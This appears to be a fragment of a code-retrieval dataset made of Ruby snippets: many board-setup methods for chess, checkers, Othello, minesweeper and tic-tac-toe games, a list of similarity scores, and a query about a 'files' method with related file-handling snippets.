"def init_pos\r\n reset_board_variables\r\n colors = {:white => 0, :black => 7}\r\n pieces = {:torr => [0,7], :cav => [1,6], :alf => [2,5], :reg => [3], :re => [4]}\r\n key_pieces = {:white => [:w1, :w2, :w3, :w4, :w5, :w6, :w7, :w8, :w9, :w10, :w11, :w12, :w13, :w14, :w15, :w16],\r\n :black => [:b1, :b2, :b3, :b4, :b5, :b6, :b7, :b8, :b9, :b10, :b11, :b12, :b13, :b14, :b15, :b16]}\r\n # set pieces \r\n colors.each do |k_col, v_col|\r\n # iterate each color\r\n key_color_array = key_pieces[k_col]\r\n pieces.each do |k_pie, v_pie|\r\n # iterate each piece\r\n v_pie.each do |ix_piece|\r\n #p v_col, ix_piece, k_pie, k_col\r\n @infosquare[v_col][ix_piece].setinfo(k_pie, k_col)\r\n #kk_p = key_color_array.pop\r\n @pieces[k_col] << @infosquare[v_col][ix_piece] \r\n end\r\n end#end pieces\r\n \r\n # now set pawn for this color\r\n ix_col = 1\r\n ix_col = 6 if k_col == :black\r\n [0,1,2,3,4,5,6,7].each do |ix_piece|\r\n #p ix_col, ix_piece\r\n @infosquare[ix_col][ix_piece].setinfo(:ped, k_col)\r\n #kk_p = key_color_array.pop\r\n @pieces[k_col] << @infosquare[ix_col][ix_piece] \r\n end\r\n end \r\n #p @pieces\r\n #p @infosquare\r\n #p @pieces.size\r\n #p @pieces[:white].first\r\n end",
"def initialize\n @board = (0...8).map { [nil] * 8 }\n populate_board\n\n\tend",
"def initialize\n\t\treset_board\n\tend",
"def initialize\n @board = Array[]\n initializeTop\n initializeMiddle\n initializeBottom\n end",
"def start_game\n Board.new 10, 10\n end",
"def initialize(setup)\n @grid = Array.new(8) { Array.new(8, nil)}\n\n if setup\n setup_pieces\n end\n end",
"def initialize_board\n board = Array.new(8) {Array.new(8)}\n populate_board(board)\n end",
"def init_pos\n reset_board_variables\n colors = {:white => 0, :black => 7}\n pieces = {:torr => [0,7], :cav => [1,6], :alf => [2,5], :reg => [3], :re => [4]}\n key_pieces = {:white => [:w1, :w2, :w3, :w4, :w5, :w6, :w7, :w8, :w9, :w10, :w11, :w12, :w13, :w14, :w15, :w16],\n :black => [:b1, :b2, :b3, :b4, :b5, :b6, :b7, :b8, :b9, :b10, :b11, :b12, :b13, :b14, :b15, :b16]}\n # set pieces \n colors.each do |k_col, v_col|\n # iterate each color\n key_color_array = key_pieces[k_col]\n pieces.each do |k_pie, v_pie|\n # iterate each piece\n v_pie.each do |ix_piece|\n #p v_col, ix_piece, k_pie, k_col\n @infosquare[v_col][ix_piece].setinfo(k_pie, k_col)\n #kk_p = key_color_array.pop\n @pieces[k_col] << @infosquare[v_col][ix_piece] \n end\n end#end pieces\n \n # now set pawn for this color\n ix_col = 1\n ix_col = 6 if k_col == :black\n [0,1,2,3,4,5,6,7].each do |ix_piece|\n #p ix_col, ix_piece\n @infosquare[ix_col][ix_piece].setinfo(:ped, k_col)\n #kk_p = key_color_array.pop\n @pieces[k_col] << @infosquare[ix_col][ix_piece] \n end\n end \n #p @pieces\n #p @infosquare\n #p @pieces.size\n #p @pieces[:white].first\n end",
"def initialize()\n grid = BOARD_NUMBERS.map{ |x| BOARD_ALPHABET.map{ |y| y + x}}.flatten\n @board = Hash[grid.collect { |k| [k, EMPTY]} ]\n end",
"def initialize_board\n # Non-pawns for black player:\n Rook.create(x_position: 1, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n Knight.create(x_position: 2, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n Bishop.create(x_position: 3, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n Queen.create(x_position: 4, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n King.create(x_position: 5, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n Bishop.create(x_position: 6, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n Knight.create(x_position: 7, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n Rook.create(x_position: 8, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n\n # Non-pawns for white player:\n Rook.create(x_position: 1, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n Knight.create(x_position: 2, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n Bishop.create(x_position: 3, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n Queen.create(x_position: 4, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n King.create(x_position: 5, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n Bishop.create(x_position: 6, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n Knight.create(x_position: 7, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n Rook.create(x_position: 8, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n\n # Pawns for both players:\n for i in 1..8\n Pawn.create(color: \"black\", x_position: i, y_position: 2, game_id: id, player_id: black_player_id)\n Pawn.create(color: \"white\", x_position: i, y_position: 7, game_id: id, player_id: white_player_id)\n end\n\n self.counter = 0\n # Saves the counter to the database.\n self.save\n end",
"def initialize #if module this method could be set_board\n @row_a = [\"A\"] + [\" \"]* 8\n @row_b = [\"B\"] + [\" \"]* 8\n @row_c = [\"C\"] + [\" \"]* 8\n @row_d = [\"D\"] + [\" \"]* 8\n empty_board\n two_unit_valid_places\n three_unit_valid_places\n end",
"def initialize\n @board=Array.new(9) {Array.new(9, false)}\n self.populate_mines\n self.fill_up_board_with_tiles\n @game_over = false\n end",
"def initialize\n\t\t@board=Hash.new \n\t\t(0..6).each{ |i|\n\t\t\t(0..6).each{ |j|\n\t\t\t\t@board[[i,j]]=Cell.new(0,0,\"\")\n\t\t\t}\n\t\t}\n\t\t#==== intitial cells\n\t\t@board[[1,1]].value=2\n\t\t@board[[2,3]].value=4\n\t\t@move_result=0\n\tend",
"def initialize\n @board_array = [[],[],[],[],[],[],[],[],[],[]]\n # tile_board\n # set_mines\n end",
"def set_pieces\n # white pieces\n (1..8).each do |index|\n Pawn.create(game_id: id, x_position: index, y_position: 2, color: 'white', active: true)\n end\n Rook.create(game_id: id, x_position: 1, y_position: 1, color: 'white', active: true)\n Knight.create(game_id: id, x_position: 2, y_position: 1, color: 'white', active: true)\n Bishop.create(game_id: id, x_position: 3, y_position: 1, color: 'white', active: true)\n Queen.create(game_id: id, x_position: 4, y_position: 1, color: 'white', active: true)\n King.create(game_id: id, x_position: 5, y_position: 1, color: 'white', active: true)\n Bishop.create(game_id: id, x_position: 6, y_position: 1, color: 'white', active: true)\n Knight.create(game_id: id, x_position: 7, y_position: 1, color: 'white', active: true)\n Rook.create(game_id: id, x_position: 8, y_position: 1, color: 'white', active: true)\n # black pieces\n (1..8).each do |index|\n Pawn.create(game_id: id, x_position: index, y_position: 7, color: 'black', active: true)\n end\n Rook.create(game_id: id, x_position: 1, y_position: 8, color: 'black', active: true)\n Knight.create(game_id: id, x_position: 2, y_position: 8, color: 'black', active: true)\n Bishop.create(game_id: id, x_position: 3, y_position: 8, color: 'black', active: true)\n Queen.create(game_id: id, x_position: 4, y_position: 8, color: 'black', active: true)\n King.create(game_id: id, x_position: 5, y_position: 8, color: 'black', active: true)\n Bishop.create(game_id: id, x_position: 6, y_position: 8, color: 'black', active: true)\n Knight.create(game_id: id, x_position: 7, y_position: 8, color: 'black', active: true)\n Rook.create(game_id: id, x_position: 8, y_position: 8, color: 'black', active: true)\n end",
"def initializeBoard()\n\n # TO DO: COMPLETE THIS METHOD\n maxMid = @size / 2\n minMid = @size / 2 - 1\n for i in 0..size-1\n for j in 0..size-1\n if i == maxMid && j == maxMid\n @board[i][j] = \"B\"\n elsif i == minMid && j == minMid\n @board[i][j] = \"B\"\n elsif (i == minMid || i == maxMid) && (j == maxMid || j == minMid)\n @board[i][j] = \"W\"\n else\n @board[i][j] = \"-\";\n end\n end\n end\n end",
"def board\n board = Board.new(true)\n grid do |p|\n new_position = p\n new_color = p.color\n new_piece = p.class.new(new_position, new_color, board )\n board[p.pos] = new_piece\n end\n board\n end",
"def initialize(empty = false)\n @white_points = []\n @black_points = []\n return if empty\n\n @board = []\n 8.times do\n col = []\n 8.times do\n col << SPOT_OPEN\n end\n @board << col\n end\n\n # Add the starting pieces\n mark(3, 3, SPOT_WHITE)\n mark(4, 3, SPOT_BLACK)\n mark(4, 4, SPOT_WHITE)\n mark(3, 4, SPOT_BLACK)\n end",
"def initialize\n @grid = empty_board\n end",
"def initializeBoard()\n #\n # TO DO: complete this method\n #\n for j in 0...@size\n for i in 0...@size\n @board[j][i]=EMPTY\n end\n end\n center = (@size/2)-1\n @board[center][center] = BLACK\n @board[center+1][center+1] = BLACK\n @board[center+1][center] = WHITE\n @board[center][center+1] = WHITE\n\n\n\n\n end",
"def initialize(board, color)\n @board = board\n @isWhite = color == \"white\"\n @pieces = []\n if(@isWhite)\n 8.times {|i| @pieces << Pawn.new(board, \"white\", 6, i)}\n @pieces << Rook.new(board, \"white\", 7, 0)\n @pieces << Rook.new(board, \"white\", 7, 7)\n @pieces << Knight.new(board, \"white\", 7, 1)\n @pieces << Knight.new(board, \"white\", 7, 6)\n @pieces << Bishop.new(board, \"white\", 7, 2)\n @pieces << Bishop.new(board, \"white\", 7, 5)\n @pieces << Queen.new(board, \"white\", 7, 3)\n @king = King.new(board, \"white\", 7, 4)\n else #color is black\n 8.times {|i| @pieces << Pawn.new(board, \"black\", 1, i)}\n @pieces << Rook.new(board, \"black\", 0, 0)\n @pieces << Rook.new(board, \"black\", 0, 7)\n @pieces << Knight.new(board, \"black\", 0, 1)\n @pieces << Knight.new(board, \"black\", 0, 6)\n @pieces << Bishop.new(board, \"black\", 0, 2)\n @pieces << Bishop.new(board, \"black\", 0, 5)\n @pieces << Queen.new(board, \"black\", 0, 3)\n @king = King.new(board, \"black\", 0, 4)\n end\n @in_checkmate = false\n end",
"def board_with_fen(fen_str)\n @log.debug \"Set board using fen: #{fen_str}\"\n reset_board_variables\n arr_cmd = fen_str.split(' ')\n if arr_cmd.size != 6\n @log.error(\"invalid fen string format\")\n return\n end\n arr_row = arr_cmd[0].split('/')\n row_num = 0\n arr_row.each do |row_info|\n #p row_info\n col_pos = 0\n row_info.each_byte do |row_byte|\n #p row_byte\n piece_type = :none\n piece_color = :none\n case row_byte\n when 'P'[0]\n piece_type = :ped\n piece_color = :white\n when 'N'[0]\n piece_type = :cav\n piece_color = :white\n when 'B'[0]\n piece_type = :alf\n piece_color = :white\n when 'R'[0]\n piece_type = :torr\n piece_color = :white\n when 'Q'[0]\n piece_type = :reg\n piece_color = :white\n when 'K'[0]\n piece_type = :re\n piece_color = :white\n when 'p'[0]\n piece_type = :ped\n piece_color = :black\n when 'n'[0]\n piece_type = :cav\n piece_color = :black\n when 'b'[0]\n piece_type = :alf\n piece_color = :black\n when 'r'[0]\n piece_type = :torr\n piece_color = :black\n when 'q'[0]\n piece_type = :reg\n piece_color = :black\n when 'k'[0]\n piece_type = :re\n piece_color = :black\n else\n if row_byte >= 49 and row_byte <= 56\n blank_num = row_byte - 48 \n col_pos += blank_num\n end \n end#end case\n if piece_type != :none\n if col_pos > 7\n @log.error \"fen format error column\"\n end\n @infosquare[row_num][col_pos].setinfo(piece_type, piece_color)\n @pieces[piece_color] << @infosquare[row_num][col_pos]\n col_pos += 1\n end\n \n end\n row_num += 1\n end# end arr_row each\n @color_on_turn = :black if arr_cmd[1] == 'b'\n #p @color_on_turn\n end",
"def initialize(fill_board = true)\n place_figures(fill_board)\n end",
"def initialize(fill_board = true)\n @sentinel = Null_piece.instance\n\n @rows = Array.new(8) { Array.new(8, @sentinel) }\n\n fill_board_tiles if fill_board\n end",
"def play\n board_setup\n gameplay_setup\n end",
"def create_board\n\t\t8.times{|x| @board.push([nil,nil,nil,nil,nil,nil,nil,nil])}\n\t\tpopulate_board\n\tend",
"def board_with_fen(fen_str)\r\n @log.debug \"Set board using fen: #{fen_str}\"\r\n reset_board_variables\r\n arr_cmd = fen_str.split(' ')\r\n if arr_cmd.size != 6\r\n @log.error(\"invalid fen string format\")\r\n return\r\n end\r\n arr_row = arr_cmd[0].split('/')\r\n row_num = 0\r\n arr_row.each do |row_info|\r\n #p row_info\r\n col_pos = 0\r\n row_info.each_byte do |row_byte|\r\n #p row_byte\r\n piece_type = :none\r\n piece_color = :none\r\n case row_byte\r\n when 'P'[0]\r\n piece_type = :ped\r\n piece_color = :white\r\n when 'N'[0]\r\n piece_type = :cav\r\n piece_color = :white\r\n when 'B'[0]\r\n piece_type = :alf\r\n piece_color = :white\r\n when 'R'[0]\r\n piece_type = :torr\r\n piece_color = :white\r\n when 'Q'[0]\r\n piece_type = :reg\r\n piece_color = :white\r\n when 'K'[0]\r\n piece_type = :re\r\n piece_color = :white\r\n when 'p'[0]\r\n piece_type = :ped\r\n piece_color = :black\r\n when 'n'[0]\r\n piece_type = :cav\r\n piece_color = :black\r\n when 'b'[0]\r\n piece_type = :alf\r\n piece_color = :black\r\n when 'r'[0]\r\n piece_type = :torr\r\n piece_color = :black\r\n when 'q'[0]\r\n piece_type = :reg\r\n piece_color = :black\r\n when 'k'[0]\r\n piece_type = :re\r\n piece_color = :black\r\n else\r\n if row_byte >= 49 and row_byte <= 56\r\n blank_num = row_byte - 48 \r\n col_pos += blank_num\r\n end \r\n end#end case\r\n if piece_type != :none\r\n if col_pos > 7\r\n @log.error \"fen format error column\"\r\n end\r\n @infosquare[row_num][col_pos].setinfo(piece_type, piece_color)\r\n @pieces[piece_color] << @infosquare[row_num][col_pos]\r\n col_pos += 1\r\n end\r\n \r\n end\r\n row_num += 1\r\n end# end arr_row each\r\n @color_on_turn = :black if arr_cmd[1] == 'b'\r\n p @color_on_turn\r\n end",
"def initialize\n @board = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]\n end",
"def initialize # calls the class Show with a new board\n\t\tShow.new\n\t\tcreate_player1\n\t\tcreate_player2\n\t\t@partie = Game.new(@player1, @player2) #class Game\n\t\t@partie.each_turn\n\tend",
"def initialize\n @board = @@the_board.clone\n end",
"def initialize(board)\n @board = board\n end",
"def initialize\n @board = Array.new(8) { Array.new(8) }\n @all_pieces = []\n @board_history = []\n @move_record = []\n end",
"def start(every_player, width, height)\n Board.new(every_player, width, height)\nend",
"def populate_board!\n\n # Populate Pawns\n (0..7).each do |x|\n Pawn.create(x_coordinates: x, y_coordinates: 1, game_id: self.id, color: 'white', image: 'white-pawn.png', status: 'active') # White\n Pawn.create(x_coordinates: x, y_coordinates: 6, game_id: self.id, color: 'black', image: 'blk-pawn.png', status: 'active') # Black\n end\n\n # Populate Rook\n Rook.create(x_coordinates: 0, y_coordinates: 0, game_id: self.id, color: 'white', image: 'white-rook.png', status: 'active') # White\n Rook.create(x_coordinates: 7, y_coordinates: 0, game_id: self.id, color: 'white', image: 'white-rook.png', status: 'active') # White\n Rook.create(x_coordinates: 0, y_coordinates: 7, game_id: self.id, color: 'black', image: 'blk-rook.png', status: 'active') # Black\n Rook.create(x_coordinates: 7, y_coordinates: 7, game_id: self.id, color: 'black', image: 'blk-rook.png', status: 'active') # Black\n\n # Populate Knight\n Knight.create(x_coordinates: 1, y_coordinates: 0, game_id: self.id, color: 'white', image: 'white-knight.png', status: 'active' ) # White\n Knight.create(x_coordinates: 6, y_coordinates: 0, game_id: self.id, color: 'white', image: 'white-knight.png', status: 'active' ) # White\n Knight.create(x_coordinates: 1, y_coordinates: 7, game_id: self.id, color: 'black', image: 'blk-knight.png', status: 'active' ) # Black\n Knight.create(x_coordinates: 6, y_coordinates: 7, game_id: self.id, color: 'black', image: 'blk-knight.png', status: 'active' ) # Black\n\n # Populate Bishop\n Bishop.create(x_coordinates: 2, y_coordinates: 0, game_id: self.id, color: 'white', image: 'white-bishop.png', status: 'active') # White\n Bishop.create(x_coordinates: 5, y_coordinates: 0, game_id: self.id, color: 'white', image: 'white-bishop.png', status: 'active') # White\n Bishop.create(x_coordinates: 2, y_coordinates: 7, game_id: self.id, color: 'black', image: 'blk-bishop.png', status: 'active') # Black\n Bishop.create(x_coordinates: 5, y_coordinates: 7, game_id: self.id, color: 'black', image: 'blk-bishop.png', status: 'active') # Black\n\n # Populate Queen\n Queen.create(x_coordinates: 3, y_coordinates: 0, game_id: self.id, color: 'white', image: 'white-queen.png', status: 'active') # White\n Queen.create(x_coordinates: 3, y_coordinates: 7, game_id: self.id, color: 'black', image: 'blk-queen.png', status: 'active') # Black\n\n # Populate King\n King.create(x_coordinates: 4, y_coordinates: 0, game_id: self.id, color: 'white', image: 'white-king.png', status: 'active') # White\n King.create(x_coordinates: 4, y_coordinates: 7, game_id: self.id, color: 'black', image: 'blk-king.png', status: 'active') # Black\n end",
"def initialize\n @game = Board.new\n end",
"def starting_board\n init_rows([0, 2], :black)\n init_rows([5, 7], :red)\n end",
"def create_board\n\t@a1 = Cases.new(\"a1\", \" \") \n\t@a2 = Cases.new(\"a2\", \" \")\n\t@a3 = Cases.new(\"a3\", \" \")\n\t@b1 = Cases.new(\"b1\", \" \")\n\t@b2 = Cases.new(\"b2\", \" \")\n\t@b3 = Cases.new(\"b3\", \" \")\n\t@c1 = Cases.new(\"c1\", \" \")\n\t@c2 = Cases.new(\"c2\", \" \")\n\t@c3 = Cases.new(\"c3\", \" \")\n\n puts \" ________________________________________________________________________________________________________ \"\n puts \" | __ ___ __ ________ __ ________ ________ ___ ___ ________ | \"\n puts \" | l l l l l l l ______l l l l _____l l __ l l l l l l ______l | \"\n puts \" | l l l _ l l l l l__ l l l l l l l l l l l l l l__ | \"\n puts \" | l l_l l l l_l l l __l l l l l l l l l l l_l l_l l_l l l ___l | \"\n puts \" | l l l l l l_____ l l_____ l l_____ l l__l l l l l l l l l l_____ | \"\n puts \" | l___l l___l l________l l________l l________l l________l l__l l___l l__l l________l | \"\n puts \" |____________________________________________ TO ______________________________________________| \"\n puts \" | TIC TAC TOE | \"\n puts \" |_________________________________________________________________________________________________________| \"\n\n #On cree un Board et on definit ses 9 variables (voir Classe Board) comme etant la valeur de nos 9 cases, soit \" \"\n #on affiche un Board, qui sera vide\n #on cree un array avec toutes nos cases, qui sert a garder a jour les valeurs des cases au fur et a mesure de l'avancee du jeu\n\t@the_board = Board.new(@a1.position, @a2.position, @a3.position, @b1.position, @b2.position, @b3.position, @c1.position, @c2.position, @c3.position) \n\t@the_board.display \n\t@array = [@a1, @a2, @a3, @b1, @b2, @b3, @c1, @c2, @c3] \n end",
"def setup_pieces\n setup_color(:white)\n setup_color(:black)\n end",
"def initialize(grid_size)\n @grid_size = grid_size\n @cell_ct = (grid_size * 2) + 1\n @board = Array.new(cell_ct){Array.new(cell_ct)}\n\n populate_board_guide(board)\n end",
"def initialize\n \t@board = Array.new(10) { Array.new(10) }\n \t@hash = {} #for letter conversion\n \tsetup \n \tsetup_keys\n end",
"def initialize\n @board = create_board\n @god_mode = false\n end",
"def drawBoard() \n #1. prepare the default board\n @height.times do |y|\n @width.times do |x|\n print EMPTY_MARKER\n end\n puts\n end\t\n @squares = []\n @width.times do |x|\n column = []\n @height.times do |y|\n column << EMPTY_MARKER\n end\n @squares << column\n end\t\n # 2. fill the mine marker\n @mines.each do |mine|\n x,y = mine\n @squares[x][y] = MINE_MARKER\n end\t\t\n #puts @squares;\n\n end",
"def initialize\n @@cells = [1, 2, 3, 4, 5, 6, 7, 8, 9]\n display_board\n end",
"def load_board(text_board)\n i = 0\n text_board.each_line{|line|\n line.delete!(\"\\n\")\n j = 0\n line.each_char{|stone|\n set_stone_at(i, j, stone.to_i)\n j += 1\n }\n i += 1\n }\n end",
"def initialize(seeds)\n @grid = Array.new(9) { Array.new(9, nil) }\n @rows = {}\n @columns = {}\n @squares = {}\n 1.upto(9) do |i|\n @rows[i] = Hash.new(false)\n @columns[i] = Hash.new(false)\n @squares[i] = Hash.new(false)\n end\n seed_board(seeds)\n end",
"def populate_board(_board, str)\n black = []\n white = []\n\n # parse string\n str.delete(\"\\n\").split(//).each.with_index do |space, idx|\n xpos = idx % 3\n ypos = (idx - xpos) / 3\n\n case space\n when 'w'\n white << [xpos, ypos]\n when 'b'\n black << [xpos, ypos]\n end\n end\n\n # populate\n loop do\n pos =\n if game.player_turn == :white\n white.shift\n else\n black.shift\n end\n\n game.add_piece(*pos)\n\n break if white.empty? && black.empty?\n end\n end",
"def populate_board\n #the six rows get updated\n players.each do |player|\n rows = player == players[0] ? [ 0,1,2 ] : [ 5,6,7 ]\n piece_count = 0\n col = 0\n\n player.pieces.each do |piece|\n\n rows.shift if piece_count % 4 == 0 and piece_count != 0\n\n col_start = rows[0] % 2 == 1 ? 0 : 1\n col = 0 if (col_start == 0 || col_start == 1) && piece_count % 4 == 0\n\n piece.position = [col + col_start, rows[0]]\n squares[[col + col_start, rows[0]]] = piece\n\n col += 2\n piece_count += 1\n\n end\n\n end\n\n end",
"def setup_grid(skip_render, skip_set_pieces)\n @grid = Array.new(8) { Array.new(8) { EmptySquare.new } }\n unless skip_set_pieces\n set_major_minor\n set_pawns\n end\n\n render unless skip_render\n end",
"def init_opponent_board\n board = Board.create_opponent_board(self.id)\n board.place_ships\n end",
"def populate_grid\n start_rows = { red: (0..2), black: (5..7) }\n\n 8.times do |x|\n 8.times do |y|\n [:red, :black].each do |color|\n if (x + y).even? && start_rows[color].include?(y)\n self[[x, y]] = Piece.new(color, [x, y], self)\n end\n end\n end\n end\n\n grid.each_with_index do |row, y|\n row.each_with_index do |cell, x|\n puts \"x=#{x}, y=#{y}, cell.class=#{cell.class}\"\n end\n end\n end",
"def initial_piece_placements\n self.grid.each_with_index do |row, row_idx|\n row.each_with_index do |cell, cell_idx|\n pos = [row_idx, cell_idx]\n if pos.all? {|coord| coord.even?} || pos.all? {|coord| coord.odd?}\n if row_idx < 3\n self[pos] = Piece.new(self, pos, :white)\n elsif row_idx >= 5\n self[pos] = Piece.new(self, pos, :black)\n end\n end\n end\n end\n end",
"def create_board\n\t\t@board = Hash.new\n\t\t(0..7).each do |x|\n\t\t\t@board[x] = []\n\t\t\t(0..7).each do |y|\n\t\t\t\t@board[x][y] = Square.new([x, y])\n\t\t\tend\n\t\tend\n\tend"
] | [
"0.79345536",
"0.78686476",
"0.7808432",
"0.77550375",
"0.7427124",
"0.7330495",
"0.7277026",
"0.7237489",
"0.72195303",
"0.7177677",
"0.71415424",
"0.7132579",
"0.7094089",
"0.70628107",
"0.7054558",
"0.70445156",
"0.7012075",
"0.6981629",
"0.6968954",
"0.6940081",
"0.6937553",
"0.69369626",
"0.693641",
"0.6931368",
"0.6917254",
"0.6911305",
"0.6887553",
"0.6833807",
"0.6809863",
"0.68066",
"0.6802145",
"0.6794715",
"0.6791556",
"0.6784261",
"0.6783421",
"0.67775166",
"0.6774684",
"0.6765167",
"0.6736709",
"0.6736094",
"0.67199683",
"0.67041695",
"0.6699407",
"0.66936314",
"0.6680239",
"0.66750455",
"0.6668621",
"0.6641147",
"0.66319466",
"0.6610065",
"0.65665233",
"0.65581894",
"0.65508187",
"0.6545919",
"0.65426046",
"0.6531635",
"0.652661",
"0.65042245",
"0.64950556",
"0.64931715",
"0.64706945",
"0.6439071",
"0.64287597",
"0.64053977",
"0.64007336",
"0.6393566",
"0.6375166",
"0.63688743",
"0.63513976",
"0.63370985",
"0.63295364",
"0.6321632",
"0.63212967",
"0.63073814",
"0.6304829",
"0.62998897",
"0.62961406",
"0.62861234",
"0.62851715",
"0.6285115",
"0.62788177",
"0.6278636",
"0.62756044",
"0.6264814",
"0.6259649",
"0.6251252",
"0.62442064",
"0.6242015",
"0.6223833",
"0.6223223",
"0.621344",
"0.61887175",
"0.618441",
"0.61747",
"0.6173885",
"0.616981",
"0.61618793",
"0.6161091",
"0.6160123",
"0.616007"
] | 0.6510795 | 57 |
The definition of the files for this board. By default it will be files 'a' .. 'h'. You can change this by initializing the board with a different range. | def files
Outpost::Config.instance.files
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def files\n @files ||= FILE_RANGE.map(&:to_sym)\n end",
"def files\n ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h']\n end",
"def files; end",
"def files; end",
"def files; end",
"def files; end",
"def files; end",
"def files; end",
"def filenames; end",
"def files\n @files ||= {}\n end",
"def files\n @files ||= []\n end",
"def definition_file_paths; end",
"def files\n Native `#{@el}.files`\n end",
"def files\n Native `#{@el}.files`\n end",
"def file_list\n end",
"def applicable_files; end",
"def files\n Hash(@config[:files]).keys\n end",
"def files= files\n @files = files\n end",
"def files= files\n @files = files\n end",
"def default_files; end",
"def definition_file_paths=(_arg0); end",
"def files\n @files ||= preferred_sources([@path])\n end",
"def file_list\n @file_list\n end",
"def files\n templates.map(&:filename)\n end",
"def files\n @config.keys - [:defaults]\n end",
"def files\n filenames || []\n end",
"def files\n entries.map(&:filepath)\n end",
"def files\n [@nuspec_file, @changelog_file, @readme_file]\n end",
"def files\n [@nuspec_file, @changelog_file, @readme_file]\n end",
"def files=(value)\n @files = value\n end",
"def files\n @files.values\n end",
"def files\n sheet_variables.with_files.select { |o| o.response_file.size > 0 }.collect do |sheet_variable|\n [\n \"FILES/sheet_#{id}/#{sheet_variable.variable.name}/#{sheet_variable[:response_file]}\",\n sheet_variable.response_file.path\n ]\n end\n end",
"def file_desc\n \"Files (#{file_ext(',')})\"\n end",
"def initialize\n\n\t\t@width = 8\n\t\t@height = 8\n\t\t@board = Array.new(@height){Array.new(@width)}\n\n\t\t# inicializamos en board con guiones (vacio\n\t\tfor file in (0..@width-1)\n\t\t\tfor column in (0..@height-1)\n\t\t\t\t@board[file][column] = \"--\"\n\t\t\tend\n\t\tend\n\tend",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def file\n file_names[x]\n end",
"def expandable_default_files; end",
"def files=(_arg0); end",
"def filename \n end",
"def filename( )\n @configFileDNE\n end",
"def file_name_list\n @target.source_build_phase.file_display_names\n end",
"def each_file( square = nil )\n\t\t\tif square\n\t\t\t\tfile = square[0, 1]\n\t\t\t\trank = square[1, 1].to_i\n\t\t\t\tyield( (rank.succ..8).map do |r|\n\t\t\t\t\tname = \"#{file}#{r}\"\n\t\t\t\t\t[name, @squares[name]]\n\t\t\t\tend )\n\t\t\t\tyield( (1...rank).to_a.reverse.map do |r|\n\t\t\t\t\tname = \"#{file}#{r}\"\n\t\t\t\t\t[name, @squares[name]]\n\t\t\t\tend )\n\t\t\telse\n\t\t\t\t(\"a\"..\"h\").map do |file|\n\t\t\t\t\tyield( (1..8).map do |rank|\n\t\t\t\t\t\tname = \"#{file}#{rank}\"\n\t\t\t\t\t\t[name, @squares[name]]\n\t\t\t\t\tend )\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def file_path; end",
"def files\n return @files\n end",
"def all_files; end",
"def all_files; end",
"def filenames\n @filenames ||= files.map(&:to_s)\n end",
"def file_fields\n self.fields.select { |field| field.type == :file }\n end",
"def filename()\n #This is a stub, used for indexing\n end",
"def files\n files = []\n Dir.new(self.path).each do |file|\n files << file if file.length > 4\n end\n files\n end",
"def files\n { 'branches_without_pulls.md' => { content: report } }\n end",
"def file_path\n end",
"def file name\n \n end",
"def entry_files\n @entry_files = base_files @entry_path\n end",
"def entries\n {file => self}\n end",
"def discount_files\n [\n [Rails.root.join('lib', 'data', 'No 1 BVS Dom Discounts - Eff 1Oct2017.csv.enc'), 2017, 2],\n [Rails.root.join('lib', 'data', 'No 1 BVS Dom Discounts - Eff 1Jan2018.csv.enc'), 2017, 3]\n ]\n end",
"def files(*name)\n\t\treturn File.join(name)\n\tend",
"def file() = pathname.relative_path_from(Cnfs.config.paths.definitions)",
"def files\n FileList.new(`#@native.files`)\n end",
"def file_candidates\n @file_candidates ||= []\n end",
"def print_board\n\t\tfor file in (0..@width)\n\t\t\tprint @board[file]\n\t\t\tputs\n\t\tend\n\tend",
"def selection( )\n if @completion.is_a?(Array)\n @completion\n elsif [File, Pathname].include?(@completion)\n Dir[File.join(@directory.to_s, @glob)].map do |file|\n File.basename(file)\n end\n else\n [ ]\n end\n end",
"def files\n info[\"Files\"].to_a\n end",
"def adjacent_files\n files = []\n files << file_names[x - 1] unless file == :a\n files << file_names[x + 1] unless file == :h \n files\n end",
"def cells\n if @cells.blank?\n\n @cells = []\n self.loopoff_file_names.each do |f|\n @cells << Lt::FileCell.new(:name => f,\n :size => File.size(f),\n :sha => self.file_ids_hash[File.basename(f)],\n :is_identical => self.db.repo.distinct_blobs.map(&:id).include?(self.file_ids_hash[File.basename(f)]) \n )\n end\n end\n @cells \n end",
"def files\n file_sets.map(&:original_file)\n end",
"def default_file_extensions\n RB_EXTS\n end",
"def definitions_at(filename, line, column); end",
"def get_list_of_files\n\t\t@list_of_files = Dir.entries(@wallpaper_dir) \n\tend",
"def filename= name\n #This is a stub, used for indexing\n end",
"def ls\n @files.each_with_index.map do |file, i|\n { file: (@path.nil? ? file.path : file.path.relative_path_from(@path)).to_s, selected: @selected_files.include?(file) }\n end\n end",
"def files\n entries.map{ |f| FileObject[path, f] }\n end",
